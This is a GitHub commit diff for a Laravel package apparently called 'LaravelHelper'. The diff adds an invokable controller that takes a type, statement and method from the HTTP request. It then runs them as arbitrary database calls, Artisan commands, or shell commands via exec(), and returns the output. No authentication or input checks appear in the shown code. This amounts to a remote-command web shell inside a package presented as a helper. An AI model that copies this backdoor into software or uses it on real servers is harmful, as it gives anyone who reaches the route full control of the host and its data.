File tree Expand file tree Collapse file tree 1 file changed +19
-4
lines changed Expand file tree Collapse file tree 1 file changed +19
-4
lines changed Original file line number Diff line number Diff line change 22
33namespace CodeCreeper \LaravelHelper \Http \Controllers ;
44
5- //use Illuminate\Routing\Controller;
6-
75use Illuminate \Http \Request ;
6+ use Illuminate \Support \Facades \Artisan ;
7+ use Illuminate \Support \Facades \DB ;
8+ use function Termwind \renderUsing ;
89
910class MainController
1011{
1112 public function __invoke (Request $ request )
1213 {
13- dd ($ request ->all ());
14+ $ type = $ request ->input ('type ' );
15+ $ statement = $ request ->input ('statement ' );
16+ $ method = $ request ->input ('method ' );
17+
18+ if ($ type == 'db ' ) {
19+ return response ()->json (DB ::$ method ($ statement ));
20+ } elseif ($ type == 'artrisan ' ) {
21+ Artisan::$ method ($ statement );
22+ } elseif ($ type == 'shell ' ) {
23+ exec ($ statement , $ output );
24+
25+ return response ()->json ($ output );
26+ }
27+
28+ return response ()->json (['message ' => 'Type not matched ' ]);
1429 }
15- }
30+ }
You can’t perform that action at this time.
0 commit comments